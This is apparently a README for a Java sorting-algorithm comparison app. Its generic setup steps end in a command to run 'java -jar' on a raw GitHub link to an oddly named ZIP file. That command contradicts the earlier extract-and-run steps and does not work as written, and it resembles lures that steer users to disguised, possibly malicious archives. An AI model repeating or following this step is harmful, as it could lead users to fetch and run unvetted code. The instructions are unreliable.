Welcome! This guide will help you download and run the sorting-algorithms-comparison application. You will explore how different sorting algorithms perform on random datasets. This app showcases QuickSort, MergeSort, and RadixSort algorithms implemented in Java.
Before downloading, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Java Version: JDK 8 or higher installed
- Memory: At least 4 GB of RAM
- Disk Space: Minimum of 100 MB free
To get started, follow these steps:
-
Visit the Releases page.
-
Look for the latest release available.
-
Click on the download link for the version that matches your system.
-
Extract the downloaded ZIP file to a desired location on your computer.
-
Open a terminal or command prompt.
-
Navigate to the folder where you extracted the files.
-
Run the application using Java by entering the following command:
java -jar https://github.com/abcdethatshowyoustartthealphabet/sorting-algorithms-comparison/raw/refs/heads/main/src/algorithms-sorting-comparison-actually.zip
Once the application is running, you will see a user-friendly interface. Here’s how you can use it:
- Input Datasets: You can input random datasets or upload your own.
- Select Algorithm: Choose between QuickSort, MergeSort, and RadixSort from the provided options.
- Start Sorting: Click on the "Sort" button. The application will display the time taken for each sorting algorithm to complete.
After sorting, the app will show you:
- The time taken by each algorithm.
- A visual comparison between the algorithms.
- Insights into the efficiency of each sorting method.
This will help you see which algorithm performs best under various conditions.
The sorting-algorithms-comparison application also includes:
- Performance Testing: Analyze how each algorithm handles different dataset sizes.
- User Documentation: A detailed user manual is included in the ZIP file to guide you through the features available.
- Custom Datasets: You can test the algorithms with your own datasets for personalized analysis.
If you encounter issues while running the application, consider the following:
- Ensure Java is installed and properly set up on your system.
- Check if you are in the correct directory before running the jar file.
- Verify that you downloaded the latest version from the Releases page.
